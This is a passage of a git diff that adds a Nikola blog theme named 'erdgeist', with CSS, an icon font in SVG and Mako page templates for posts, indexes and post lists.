264}
265
266a:hover,
267a:focus {
268/* color: #b22; */
269 text-decoration: underline;
270}
271
272.lyrics-chords {
273 border-color: white;
274 border: white;
275}
276
277.lyrics-chords-above .line {
278 line-height:1.3em;
279 margin-bottom:1em;
280}
281.lyrics-chords-above .crd {
282 position: relative;
283 top: -1em;
284 display:inline-block;
285 width: 0;
286 overflow:visible;
287 font-weight:bold;
288}
289
290.image-reference img {
291 max-height: 260px;
292 margin: 0 36px 36px 0;
293}
diff --git a/themes/erdgeist/assets/font/erdgeist.eot b/themes/erdgeist/assets/font/erdgeist.eot
new file mode 100644
index 0000000..828dfb4
--- /dev/null
+++ b/themes/erdgeist/assets/font/erdgeist.eot
Binary files differ
diff --git a/themes/erdgeist/assets/font/erdgeist.svg b/themes/erdgeist/assets/font/erdgeist.svg
new file mode 100644
index 0000000..fa42ce7
--- /dev/null
+++ b/themes/erdgeist/assets/font/erdgeist.svg
@@ -0,0 +1,27 @@
1<?xml version="1.0" standalone="no"?>
2<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
3<svg xmlns="http://www.w3.org/2000/svg">
4<metadata>Copyright (C) 2015 by original authors @ fontello.com</metadata>
5<defs>
6<font id="erdgeist" horiz-adv-x="1000" >
7<font-face font-family="erdgeist" font-weight="400" font-stretch="normal" units-per-em="1000" ascent="850" descent="-150" />
8<missing-glyph horiz-adv-x="1000" />
9<glyph glyph-name="music" unicode="&#xe800;" d="m857 725v-625q0-28-19-50t-48-33-58-18-53-6-54 6-58 18-48 33-19 50 19 50 48 33 58 18 54 6q58 0 107-22v300l-429-132v-396q0-28-19-50t-48-33-58-18-53-6-54 6-58 18-48 33-19 50 19 50 48 34 58 17 54 6q58 0 107-21v539q0 17 10 32t28 19l464 143q7 3 16 3 22 0 38-16t15-38z" horiz-adv-x="857.1" />
10<glyph glyph-name="search" unicode="&#xe801;" d="m643 386q0 103-74 176t-176 74-177-74-73-176 73-177 177-73 176 73 74 177z m286-465q0-29-22-50t-50-21q-30 0-50 21l-191 191q-100-69-223-69-80 0-153 31t-125 84-84 125-31 153 31 152 84 126 125 84 153 31 152-31 126-84 84-126 31-152q0-123-69-223l191-191q21-21 21-51z" horiz-adv-x="928.6" />
11<glyph glyph-name="mail" unicode="&#xe802;" d="m929 11v428q-18-20-39-37-149-114-238-188-28-24-46-38t-48-27-57-13h-2q-26 0-57 13t-48 27-46 38q-88 74-238 188-21 17-39 37v-428q0-8 6-13t12-5h822q7 0 12 5t6 13z m0 586v14t-1 7-1 7-3 5-5 4-8 2h-822q-7 0-12-6t-6-12q0-94 82-159 108-85 224-177 4-2 20-16t25-21 25-18 28-15 24-5h2q11 0 24 5t28 15 25 18 25 21 20 16q116 92 224 177 30 24 56 65t26 73z m71 21v-607q0-37-26-63t-63-27h-822q-36 0-63 27t-26 63v607q0 37 26 63t63 26h822q37 0 63-26t26-63z" horiz-adv-x="1000" />
12<glyph glyph-name="user" unicode="&#xe803;" d="m786 66q0-67-41-106t-108-39h-488q-67 0-108 39t-41 106q0 30 2 58t8 61 15 60 24 55 34 45 48 30 62 11q5 0 24-12t41-27 60-27 75-12 74 12 61 27 41 27 24 12q34 0 62-11t48-30 34-45 24-55 15-60 8-61 2-58z m-179 498q0-88-63-151t-151-63-152 63-62 151 62 152 152 63 151-63 63-152z" horiz-adv-x="785.7" />
13<glyph glyph-name="headphones" unicode="&#xe805;" d="m929 356q0-93-34-176l-11-27-103-18q-13-47-51-77t-87-29v-18q0-8-5-13t-13-5h-36q-8 0-13 5t-5 13v321q0 8 5 13t13 5h36q8 0 13-5t5-13v-18q39 0 72-20t52-53l38 7q16 53 16 108 0 82-49 155t-132 117-176 43-176-43-132-117-49-156q0-54 16-107l38-7q19 34 52 53t73 20v18q0 8 5 13t13 5h35q8 0 13-5t5-13v-321q0-8-5-13t-13-5h-35q-8 0-13 5t-5 13v18q-49 0-88 29t-50 77l-103 18-11 27q-34 83-34 175 0 85 37 163t100 135 149 91 178 34 179-34 148-91 100-135 38-163z" horiz-adv-x="928.6" />
14<glyph glyph-name="quote-right" unicode="&#xe806;" d="m429 671v-392q0-58-23-111t-61-91-91-62-111-22h-36q-14 0-25 10t-11 26v71q0 15 11 25t25 11h36q59 0 101 42t42 101v17q0 23-16 38t-38 16h-125q-44 0-76 31t-31 76v214q0 45 31 76t76 32h214q45 0 76-32t32-76z m500 0v-392q0-58-23-111t-61-91-91-62-111-22h-36q-14 0-25 10t-11 26v71q0 15 11 25t25 11h36q59 0 101 42t42 101v17q0 23-16 38t-38 16h-125q-44 0-76 31t-31 76v214q0 45 31 76t76 32h214q45 0 76-32t32-76z" horiz-adv-x="928.6" />
15<glyph glyph-name="quote-left" unicode="&#xe807;" d="m429 314v-214q0-45-32-76t-76-31h-214q-44 0-76 31t-31 76v393q0 58 23 111t61 91 91 61 111 23h35q15 0 26-11t10-25v-72q0-14-10-25t-26-10h-35q-59 0-101-42t-42-101v-18q0-22 16-38t37-16h125q45 0 76-31t32-76z m500 0v-214q0-45-32-76t-76-31h-214q-44 0-76 31t-31 76v393q0 58 23 111t61 91 91 61 111 23h35q15 0 26-11t10-25v-72q0-14-10-25t-26-10h-35q-59 0-101-42t-42-101v-18q0-22 15-38t38-16h125q45 0 76-31t32-76z" horiz-adv-x="928.6" />
16<glyph glyph-name="leaf" unicode="&#xe808;" d="m714 457q0 15-10 25t-25 11q-96 0-178-28t-145-75-131-122q-11-12-11-25 0-15 11-25t25-11q13 0 25 11 15 13 41 39t38 37q76 69 150 98t175 29q14 0 25 11t10 25z m286 111q0-53-11-108-26-125-103-214t-200-149q-119-61-244-61-83 0-160 27-8 2-49 23t-53 21q-9 0-22-18t-25-39-30-39-33-18q-17 0-29 6t-17 13-15 24q-1 2-3 6t-3 6-2 5-1 7q0 20 17 41t38 37 38 31 18 27q0 2-8 21t-9 25q-5 28-5 58 0 64 24 123t66 103 96 77 113 53q31 10 81 15t100 5 100 3 91 13 64 32l16 16t17 16 15 11 20 9 24 3q22 0 40-26t26-63 14-69 4-53z" horiz-adv-x="1000" />
17<glyph glyph-name="key" unicode="&#xe809;" d="m464 564q0 45-31 76t-76 31-76-31-31-76q0-23 11-46-23 11-47 11-44 0-76-32t-31-76 31-75 76-32 76 32 31 75q0 24-10 47 23-11 46-11 45 0 76 31t31 76z m475-393q0-9-27-36t-37-28q-5 0-16 9t-20 19-22 22-13 14l-54-53 123-123q15-15 15-38 0-23-21-45t-46-22q-22 0-38 16l-374 374q-98-73-204-73-91 0-148 57t-57 149q0 89 53 174t138 139 175 53q91 0 148-58t57-148q0-105-73-203l198-199 54 54q-2 2-15 14t-22 21-18 21-9 15q0 10 27 37t37 28q7 0 13-6 3-3 26-25t45-44 49-48 40-44 16-23z" horiz-adv-x="1000" />
18<glyph glyph-name="rocket" unicode="&#xe80a;" d="m804 600q0 22-16 38t-38 16-38-16-16-38 16-38 38-16 38 16 16 38z m125 161q0-139-43-241t-141-201q-45-44-109-98l-11-211q-1-9-9-15l-214-125q-4-2-9-2-7 0-13 5l-36 36q-7 7-4 17l47 155-156 156-155-47q-1-1-5-1-7 0-12 5l-36 36q-10 11-3 22l125 214q6 8 15 9l211 11q54 64 98 109 105 104 200 144t241 40q7 0 13-6t6-12z" horiz-adv-x="928.6" />
19<glyph glyph-name="rss" unicode="&#xe80b;" d="m214 100q0-45-31-76t-76-31-76 31-31 76 31 76 76 31 76-31 31-76z m286-69q1-15-9-26-11-12-27-12h-75q-14 0-24 9t-11 23q-12 128-103 219t-219 103q-14 1-23 11t-9 24v75q0 16 12 26 9 10 24 10h3q89-7 170-45t145-101q63-63 101-145t45-171z m286-1q1-15-10-26-10-11-26-11h-80q-14 0-25 10t-11 23q-6 120-56 228t-129 188-188 129-227 57q-14 0-24 11t-10 24v80q0 15 11 26 10 10 25 10h1q147-8 280-67t238-164q104-104 164-238t67-280z" horiz-adv-x="785.7" />
20<glyph glyph-name="comment" unicode="&#xe80c;" d="m1000 350q0-97-67-179t-182-130-251-48q-39 0-81 4-110-97-257-135-27-8-63-12-10-1-17 5t-10 16v1q-2 2 0 6t1 6 2 5l4 5t4 5 4 5q4 5 17 19t20 22 17 22 18 28 15 33 15 42q-88 50-138 123t-51 157q0 73 40 139t106 114 160 76 194 28q136 0 251-48t182-130 67-179z" horiz-adv-x="1000" />
21<glyph glyph-name="home" unicode="&#xe80d;" d="m786 296v-267q0-15-11-26t-25-10h-214v214h-143v-214h-214q-15 0-25 10t-11 26v267q0 1 0 2t0 2l321 264 321-264q1-1 1-4z m124 39l-34-41q-5-5-12-6h-2q-7 0-12 3l-386 322-386-322q-7-4-13-4-7 2-12 7l-35 41q-4 5-3 13t6 12l401 334q18 15 42 15t43-15l136-114v109q0 8 5 13t13 5h107q8 0 13-5t5-13v-227l122-102q5-5 6-12t-4-13z" horiz-adv-x="928.6" />
22<glyph glyph-name="pencil" unicode="&#xe80e;" d="m203-7l50 51-131 131-51-51v-60h72v-71h60z m291 518q0 12-12 12-5 0-9-4l-303-302q-4-4-4-10 0-12 13-12 5 0 9 4l303 302q3 4 3 10z m-30 107l232-232-464-465h-232v233z m381-54q0-29-20-50l-93-93-232 233 93 92q20 21 50 21 29 0 51-21l131-131q20-22 20-51z" horiz-adv-x="857.1" />
23<glyph glyph-name="twitter" unicode="&#xe80f;" d="m904 622q-37-54-90-93 0-8 0-23 0-73-21-145t-64-139-103-117-144-82-181-30q-151 0-276 81 19-3 43-3 126 0 224 77-59 2-105 36t-64 89q19-2 34-2 24 0 48 6-63 13-104 62t-41 115v2q38-21 82-23-37 25-59 64t-22 86q0 49 25 91 68-83 164-133t208-55q-5 21-5 41 0 75 53 127t127 53q79 0 132-57 61 12 114 44-20-64-79-100 52 6 104 28z" horiz-adv-x="928.6" />
24<glyph glyph-name="eye" unicode="&#xe810;" d="m929 314q-85 132-213 197 34-58 34-125 0-104-73-177t-177-73-177 73-73 177q0 67 34 125-128-65-213-197 75-114 187-182t242-68 242 68 187 182z m-402 215q0 11-8 19t-19 7q-70 0-120-50t-50-119q0-12 8-19t19-8 19 8 8 19q0 48 34 82t82 34q11 0 19 8t8 19z m473-215q0-19-11-38-78-129-210-206t-279-77-279 77-210 206q-11 19-11 38t11 39q78 128 210 205t279 78 279-78 210-205q11-20 11-39z" horiz-adv-x="1000" />
25</font>
26</defs>
27</svg> \ No newline at end of file
diff --git a/themes/erdgeist/assets/font/erdgeist.ttf b/themes/erdgeist/assets/font/erdgeist.ttf
new file mode 100644
index 0000000..7499b3b
--- /dev/null
+++ b/themes/erdgeist/assets/font/erdgeist.ttf
Binary files differ
diff --git a/themes/erdgeist/assets/font/erdgeist.woff b/themes/erdgeist/assets/font/erdgeist.woff
new file mode 100644
index 0000000..c637fc0
--- /dev/null
+++ b/themes/erdgeist/assets/font/erdgeist.woff
Binary files differ
diff --git a/themes/erdgeist/assets/font/sourcesanspro/v9/ODelI1aHBYDBqgeIAH2zlEY6Fu39Tt9XkmtSosaMoEA.ttf b/themes/erdgeist/assets/font/sourcesanspro/v9/ODelI1aHBYDBqgeIAH2zlEY6Fu39Tt9XkmtSosaMoEA.ttf
new file mode 100644
index 0000000..973aeb0
--- /dev/null
+++ b/themes/erdgeist/assets/font/sourcesanspro/v9/ODelI1aHBYDBqgeIAH2zlEY6Fu39Tt9XkmtSosaMoEA.ttf
Binary files differ
diff --git a/themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGLlcMrNrsnL9dgADnXgYJjs.ttf b/themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGLlcMrNrsnL9dgADnXgYJjs.ttf
new file mode 100644
index 0000000..b7d0f4f
--- /dev/null
+++ b/themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGLlcMrNrsnL9dgADnXgYJjs.ttf
Binary files differ
diff --git a/themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGPS42wKzre0cxmO5m5GyTsY.ttf b/themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGPS42wKzre0cxmO5m5GyTsY.ttf
new file mode 100644
index 0000000..05ae687
--- /dev/null
+++ b/themes/erdgeist/assets/font/sourcesanspro/v9/toadOcfmlt9b38dHJxOBGPS42wKzre0cxmO5m5GyTsY.ttf
Binary files differ
diff --git a/themes/erdgeist/assets/img/dark_stripes.png b/themes/erdgeist/assets/img/dark_stripes.png
new file mode 100644
index 0000000..63302e5
--- /dev/null
+++ b/themes/erdgeist/assets/img/dark_stripes.png
Binary files differ
diff --git a/themes/erdgeist/bundles b/themes/erdgeist/bundles
new file mode 100644
index 0000000..defbd4d
--- /dev/null
+++ b/themes/erdgeist/bundles
@@ -0,0 +1 @@
assets/css/all-nocdn.css=bootstrap.min.css,rst.css,code.css,colorbox.css,theme.css,custom.css,erdgeist.css,erdgeist-embedded.css
diff --git a/themes/erdgeist/parent b/themes/erdgeist/parent
new file mode 100644
index 0000000..dc199ee
--- /dev/null
+++ b/themes/erdgeist/parent
@@ -0,0 +1 @@
bootstrap3
diff --git a/themes/erdgeist/templates/base.tmpl b/themes/erdgeist/templates/base.tmpl
new file mode 100644
index 0000000..3bdf48d
--- /dev/null
+++ b/themes/erdgeist/templates/base.tmpl
@@ -0,0 +1,58 @@
1## -*- coding: utf-8 -*-
2<%namespace name="base" file="base_helper.tmpl" import="*" />
3<%namespace name="notes" file="annotation_helper.tmpl" import="*" />
4${set_locale(lang)}
5${base.html_headstart()}
6<%block name="extra_head">
7### Leave this block alone.
8</%block>
9${template_hooks['extra_head']()}
10</head>
11<body>
12<a href="#content" class="sr-only sr-only-focusable">${messages("Skip to main content")}</a>
13
14<!-- Menubar -->
15
16<nav class="navbar navbar-fixed-top" role="navigation">
17 <div class="container"><!-- This keeps the margins nice -->
18 <ul class="nav navbar-nav">
19 ${base.html_navigation_links()}
20 ${template_hooks['menu']()}
21 </ul>
22 %if search_form:
23 ${search_form}
24 %endif
25
26 </div><!-- /.container -->
27</nav>
28
29<!-- End of Menubar -->
30
31<div class="container" id="content" role="main">
32 <div class="body-content">
33 <!--Body content-->
34 <div class="row">
35 ${template_hooks['page_header']()}
36 <%block name="content"></%block>
37 </div>
38 <!--End of body content-->
39
40 <footer>
41 ${content_footer}
42 ${template_hooks['page_footer']()}
43 </footer>
44 </div>
45</div>
46
47${base.late_load_js()}
48 <!--script>$('a.image-reference:not(.islink)').colorbox({rel:"gal",maxWidth:"100%",maxHeight:"100%",scalePhotos:true});</script -->
49 <%block name="extra_js"></%block>
50 % if annotations and post and not post.meta('noannotations'):
51 ${notes.code()}
52 % elif not annotations and post and post.meta('annotations'):
53 ${notes.code()}
54 % endif
55${body_end}
56${template_hooks['body_end']()}
57</body>
58</html>
diff --git a/themes/erdgeist/templates/base_helper.tmpl b/themes/erdgeist/templates/base_helper.tmpl
new file mode 100644
index 0000000..bec4b78
--- /dev/null
+++ b/themes/erdgeist/templates/base_helper.tmpl
@@ -0,0 +1,168 @@
1## -*- coding: utf-8 -*-
2
3<%namespace name="notes" file="annotation_helper.tmpl" import="*" />
4<%def name="html_headstart()">
5<!DOCTYPE html>
6<html
7\
8% if use_open_graph or (twitter_card and twitter_card['use_twitter_cards']) or (comment_system == 'facebook'):
9prefix='\
10%if use_open_graph or (twitter_card and twitter_card['use_twitter_cards']):
11og: http://ogp.me/ns# \
12%endif
13%if use_open_graph:
14article: http://ogp.me/ns/article# \
15%endif
16%if comment_system == 'facebook':
17fb: http://ogp.me/ns/fb# \
18%endif
19'\
20%endif
21\
22% if is_rtl:
23dir="rtl" \
24% endif
25\
26lang="${lang}">
27 <head>
28 <meta charset="utf-8">
29 %if description:
30 <meta name="description" content="${description}">
31 %endif
32 <meta name="viewport" content="width=device-width, initial-scale=1">
33 <title>${title|striphtml} | ${blog_title|striphtml}</title>
34
35 ${html_stylesheets()}
36 ${html_feedlinks()}
37 %if permalink:
38 <link rel="canonical" href="${abs_link(permalink)}">
39 %endif
40
41 %if favicons:
42 %for name, file, size in favicons:
43 <link rel="${name}" href="${file}" sizes="${size}"/>
44 %endfor
45 %endif
46
47 % if comment_system == 'facebook':
48 <meta property="fb:app_id" content="${comment_system_id}">
49 % endif
50
51 %if prevlink:
52 <link rel="prev" href="${prevlink}" type="text/html">
53 %endif
54 %if nextlink:
55 <link rel="next" href="${nextlink}" type="text/html">
56 %endif
57
58 ${mathjax_config}
59 %if use_cdn:
60 <!--[if lt IE 9]><script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
61 %else:
62 <!--[if lt IE 9]><script src="${url_replacer(permalink, '/assets/js/html5.js', lang)}"></script><![endif]-->
63 %endif
64
65 ${extra_head_data}
66</%def>
67
68<%def name="late_load_js()">
69 %if use_bundles:
70 %if use_cdn:
71 <script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
72 <script src="//maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script>
73 <script src="/assets/js/all.js"></script>
74 %else:
75 <!--script src="/assets/js/all-nocdn.js"></script-->
76 %endif
77 %else:
78 %if use_cdn:
79 <script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
80 <script src="//maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script>
81 %else:
82 <script src="/assets/js/jquery.min.js"></script>
83 <script src="/assets/js/bootstrap.min.js"></script>
84 <script src="/assets/js/moment-with-locales.min.js"></script>
85 <script src="/assets/js/fancydates.js"></script>
86 %endif
87 <script src="/assets/js/jquery.colorbox-min.js"></script>
88 %endif
89 %if colorbox_locales[lang]:
90 <script src="/assets/js/colorbox-i18n/jquery.colorbox-${colorbox_locales[lang]}.js"></script>
91 %endif
92 ${social_buttons_code}
93</%def>
94
95
96<%def name="html_stylesheets()">
97 %if use_bundles:
98 %if use_cdn:
99 <link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" rel="stylesheet">
100 <link href="/assets/css/all.css" rel="stylesheet" type="text/css">
101 %else:
102 <link href="/assets/css/all-nocdn.css" rel="stylesheet" type="text/css">
103 %endif
104 %else:
105 %if use_cdn:
106 <link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" rel="stylesheet">
107 %else:
108 <link href="/assets/css/bootstrap.min.css" rel="stylesheet" type="text/css">
109 %endif
110 <link href="/assets/css/rst.css" rel="stylesheet" type="text/css">
111 <link href="/assets/css/code.css" rel="stylesheet" type="text/css">
112 <link href="/assets/css/colorbox.css" rel="stylesheet" type="text/css">
113 <link href="/assets/css/theme.css" rel="stylesheet" type="text/css">
114 %if has_custom_css:
115 <link href="/assets/css/custom.css" rel="stylesheet" type="text/css">
116 %endif
117 %endif
118 % if annotations and post and not post.meta('noannotations'):
119 ${notes.css()}
120 % elif not annotations and post and post.meta('annotations'):
121 ${notes.css()}
122 % endif
123</%def>
124
125<%def name="html_navigation_links()">
126 %for url, text, icon in navigation_links[lang]:
127 % if isinstance(url, tuple):
128 <li class="dropdown"><a href="#" class="dropdown-toggle" data-toggle="dropdown">${text}<b class="caret"></b></a>
129 <ul class="dropdown-menu">
130 %for suburl, text in url:
131 % if rel_link(permalink, suburl) == "#":
132 <li class="active"><a href="${permalink}" title="${text}"><i class="${icon}"></i></a>
133 %else:
134 <li><a href="${suburl}" title="${text}"><i class="${icon}"></i></a>
135 %endif
136 %endfor
137 </ul>
138 % else:
139 % if rel_link(permalink, url) == "#":
140 <li class="active"><a href="${permalink}" title="${text}"><i class="${icon}"></i></a>
141 %else:
142 <li><a href="${url}" title="${text}"><i class="${icon}"></i></a>
143 %endif
144 % endif
145 %endfor
146</%def>
147
148<%def name="html_feedlinks()">
149 %if rss_link:
150 ${rss_link}
151 %elif generate_rss:
152 %if len(translations) > 1:
153 %for language in translations:
154 <link rel="alternate" type="application/rss+xml" title="RSS (${language})" href="${_link('rss', None, language)}">
155 %endfor
156 %else:
157 <link rel="alternate" type="application/rss+xml" title="RSS" href="${_link('rss', None)}">
158 %endif
159 %endif
160</%def>
161
162<%def name="html_translations()">
163 %for langname in translations.keys():
164 %if langname != lang:
165 <li><a href="${abs_link(_link("root", None, langname))}" rel="alternate" hreflang="${langname}">${messages("LANGUAGE", langname)}</a></li>
166 %endif
167 %endfor
168</%def>
diff --git a/themes/erdgeist/templates/index.tmpl b/themes/erdgeist/templates/index.tmpl
new file mode 100644
index 0000000..81340dd
--- /dev/null
+++ b/themes/erdgeist/templates/index.tmpl
@@ -0,0 +1,35 @@
1## -*- coding: utf-8 -*-
2<%namespace name="helper" file="index_helper.tmpl"/>
3<%namespace name="comments" file="comments_helper.tmpl"/>
4<%inherit file="base.tmpl"/>
5
6<%block name="content">
7${helper.html_pager()}
8<div class="col-md-9 col-lg-7 col-sm-12 postindex">
9% for post in posts:
10 <article class="h-entry post-${post.meta('type')}">
11 <header>
12 <h1 class="p-name entry-title"><a href="${post.permalink()}" class="u-url">${post.title()|h}</a></h1>
13 <div class="metadata">
14 <p class="byline author vcard"><span class="byline-name fn">${post.author()}</span></p>
15 <p class="dateline"><a href="${post.permalink()}" rel="bookmark"><time class="published dt-published" datetime="${post.date.isoformat()}" title="${post.formatted_date(date_format)}">${post.formatted_date(date_format)}</time></a></p>
16 % if not post.meta('nocomments') and site_has_comments:
17 <p class="commentline">${comments.comment_link(post.permalink(), post._base_path)}
18 % endif
19 </div>
20 </header>
21 %if index_teasers:
22 <div class="p-summary entry-summary">
23 ${post.text(teaser_only=True)}
24 %else:
25 <div class="e-content entry-content">
26 ${post.text(teaser_only=False)}
27 %endif
28 </div>
29 </article>
30% endfor
31</div>
32${helper.html_pager()}
33${comments.comment_link_script()}
34${helper.mathjax_script(posts)}
35</%block>
diff --git a/themes/erdgeist/templates/index_helper.tmpl b/themes/erdgeist/templates/index_helper.tmpl
new file mode 100644
index 0000000..9331b93
--- /dev/null
+++ b/themes/erdgeist/templates/index_helper.tmpl
@@ -0,0 +1,27 @@
1## -*- coding: utf-8 -*-
2<%def name="html_pager()">
3 %if prevlink or nextlink:
4 <nav class="postindexpager">
5 <ul class="pager">
6 %if prevlink:
7 <li class="previous">
8 <a href="${prevlink}" rel="prev">${messages("Newer posts")}</a>
9 </li>
10 %endif
11 %if nextlink:
12 <li class="next">
13 <a href="${nextlink}" rel="next">${messages("Older posts")}</a>
14 </li>
15 %endif
16 </ul>
17 </nav>
18 %endif
19</%def>
20
21<%def name="mathjax_script(posts)">
22 %if any(post.is_mathjax for post in posts):
23 <script type="text/x-mathjax-config">
24 MathJax.Hub.Config({tex2jax: {inlineMath: [['$latex ','$'], ['\\(','\\)']]}});</script>
25 <script src="/assets/js/mathjax.js"></script>
26 %endif
27</%def>
diff --git a/themes/erdgeist/templates/list_blogposts.tmpl b/themes/erdgeist/templates/list_blogposts.tmpl
new file mode 100644
index 0000000..093d520
--- /dev/null
+++ b/themes/erdgeist/templates/list_blogposts.tmpl
@@ -0,0 +1,41 @@
1## -*- coding: utf-8 -*-
2<%block name="content">
3<!-- Begin post-list ${post_list_id} -->
4
5<script>
6function toggleClass(id) {
7 var node = document.getElementById("post-body-"+id);
8 var node2 = document.getElementById("showfull-"+id);
9 var nc = node.className.replace(/ full$/, '');
10 if( node.className != nc ) {
11 node.className = nc;
12 node2.className="glyphicon glyphicon-chevron-up";
13 } else {
14 node.className += ' full';
15 node2.className="glyphicon glyphicon-chevron-down";
16 }
17}
18</script>
19
20
21<div id="${post_list_id}" class="post-list">
22 %if posts:
23 <ul class="post-list list-unstyled">
24 % for post in posts:
25 <li class="post-list-item">
26 <div class="post-list-headline">
27 <a href="${post.permalink()}"><div class="post-date">${post.formatted_date(date_format)}</div></a>
28 <div style="cursor: pointer" onclick="toggleClass(${loop.index})">
29 <span class="glyphicon glyphicon-chevron-up" id="showfull-${loop.index}"></span><span>${post.title(lang)}</span>
30 </div>
31 </div>
32 <div class="post-body" id="post-body-${loop.index}">
33 ${post.text( teaser_only = true, show_read_more_link = true) }
34 </div>
35 </li>
36 % endfor
37 </ul>
38 %endif
39</div>
40<!-- End post-list ${post_list_id} -->
41</%block>
diff --git a/themes/erdgeist/templates/list_poetry.tmpl b/themes/erdgeist/templates/list_poetry.tmpl
new file mode 100644
index 0000000..3bde503
--- /dev/null
+++ b/themes/erdgeist/templates/list_poetry.tmpl
@@ -0,0 +1,16 @@
1## -*- coding: utf-8 -*-
2<%block name="content">
3<!-- Begin post-list ${post_list_id} -->
4<div id="${post_list_id}" class="post-list">
5 %if posts:
6 <ul class="poetry-list multi-columns post-list list-unstyled">
7 % for post in posts:
8 <li class="post-list-item">
9 <a href="${post.permalink()}">${post.title(lang)}</a><div class="post-date">(${post.formatted_date('%b %Y')})</div>
10 </li>
11 % endfor
12 </ul>
13 %endif
14</div>
15<!-- End post-list ${post_list_id} -->
16</%block>
diff --git a/themes/erdgeist/templates/list_projectnews.tmpl b/themes/erdgeist/templates/list_projectnews.tmpl
new file mode 100644
index 0000000..abb515b
--- /dev/null
+++ b/themes/erdgeist/templates/list_projectnews.tmpl
@@ -0,0 +1,16 @@
1## -*- coding: utf-8 -*-
2<%block name="content">
3<!-- Begin post-list ${post_list_id} -->
4<div id="${post_list_id}" class="post-list">
5 %if posts:
6 <ul class="poetry-list post-list list-unstyled">
7 % for post in posts:
8 <li class="post-list-item">
9 <div style="float:left; margin-right: .6em"><a href="${post.permalink()}">(${post.formatted_date('%Y-%m-%d')})</a></div> ${post.text(lang)}
10 </li>
11 % endfor
12 </ul>
13 %endif
14</div>
15<!-- End post-list ${post_list_id} -->
16</%block>
diff --git a/themes/erdgeist/templates/list_projects.tmpl b/themes/erdgeist/templates/list_projects.tmpl
new file mode 100644
index 0000000..b8d67b5
--- /dev/null
+++ b/themes/erdgeist/templates/list_projects.tmpl
@@ -0,0 +1,16 @@
1## -*- coding: utf-8 -*-
2<%block name="content">
3<!-- Begin post-list ${post_list_id} -->
4<div id="${post_list_id}" class="post-list">
5 %if posts:
6 <div class="post-list list-unstyled">
7 % for post in posts:
8 <p class="post-list-item">
9 <a href="${post.permalink()}">${post.title(lang)}</a> ${post.description()}
10 </p>
11 % endfor
12 </div>
13 %endif
14</div>
15<!-- End post-list ${post_list_id} -->
16</%block>
diff --git a/themes/erdgeist/templates/post.tmpl b/themes/erdgeist/templates/post.tmpl
new file mode 100644
index 0000000..c1a0ad7
--- /dev/null
+++ b/themes/erdgeist/templates/post.tmpl
@@ -0,0 +1,51 @@
1## -*- coding: utf-8 -*-
2<%namespace name="helper" file="post_helper.tmpl"/>
3<%namespace name="pheader" file="post_header.tmpl"/>
4<%namespace name="comments" file="comments_helper.tmpl"/>
5<%inherit file="base.tmpl"/>
6
7<%block name="extra_head">
8 ${parent.extra_head()}
9 % if post.meta('keywords'):
10 <meta name="keywords" content="${post.meta('keywords')|h}">
11 % endif
12 %if post.description():
13 <meta name="description" content="${post.description()}">
14 %endif
15 <meta name="author" content="${post.author()}">
16 %if post.prev_post:
17 <link rel="prev" href="${post.prev_post.permalink()}" title="${post.prev_post.title()|h}" type="text/html">
18 %endif
19 %if post.next_post:
20 <link rel="next" href="${post.next_post.permalink()}" title="${post.next_post.title()|h}" type="text/html">
21 %endif
22 % if post.is_draft:
23 <meta name="robots" content="noindex">
24 % endif
25 ${helper.open_graph_metadata(post)}
26 ${helper.twitter_card_information(post)}
27 ${helper.meta_translations(post)}
28</%block>
29
30<%block name="content">
31<article class="col-md-9 col-lg-7 col-sm-12 post-${post.meta('type')} h-entry hentry postpage" itemscope="itemscope" itemtype="http://schema.org/Article">
32 ${pheader.html_post_header()}
33 <div class="e-content entry-content" itemprop="articleBody text">
34 ${post.text()}
35 </div>
36 <aside class="postpromonav">
37 <nav>
38 ${helper.html_tags(post)}
39 ${helper.html_pager(post)}
40 </nav>
41 </aside>
42 % if not post.meta('nocomments') and site_has_comments:
43 <section class="comments">
44 <h2>${messages("Comments")}</h2>
45 ${comments.comment_form(post.permalink(absolute=True), post.title(), post._base_path)}
46 </section>
47 % endif
48 ${helper.mathjax_script(post)}
49</article>
50${comments.comment_link_script()}
51</%block>
diff --git a/themes/erdgeist/templates/post_header.tmpl b/themes/erdgeist/templates/post_header.tmpl
new file mode 100644
index 0000000..456c207
--- /dev/null
+++ b/themes/erdgeist/templates/post_header.tmpl
@@ -0,0 +1,53 @@
1## -*- coding: utf-8 -*-
2<%namespace name="helper" file="post_helper.tmpl"/>
3<%namespace name="comments" file="comments_helper.tmpl"/>
4
5<%def name="html_title()">
6%if title and not post.meta('hidetitle'):
7 <h1 class="p-name entry-title" itemprop="headline name">${post.title()|h}
8 % if post.meta('subtitle'):
9– ${post.meta('subtitle')}
10 %endif
11 </h1>
12%endif
13</%def>
14
15<%def name="html_translations(post)">
16 % if len(post.translated_to) > 1:
17 <div class="metadata posttranslations translations">
18 <h3 class="posttranslations-intro">${messages("Also available in:")}</h3>
19 % for langname in translations.keys():
20 % if langname != lang and post.is_translation_available(langname):
21 <p><a href="${post.permalink(langname)}" rel="alternate" hreflang="${langname}">${messages("LANGUAGE", langname)}</a></p>
22 % endif
23 % endfor
24 </div>
25 % endif
26</%def>
27
28<%def name="html_sourcelink()">
29 % if show_sourcelink:
30 <p class="sourceline"><a href="${post.source_link()}" id="sourcelink">${messages("Source")}</a></p>
31 % endif
32</%def>
33
34<%def name="html_post_header()">
35 <header>
36 ${html_title()}
37 <div class="metadata">
38 <p class="byline author vcard"><span class="byline-name fn">${post.author()}</span></p>
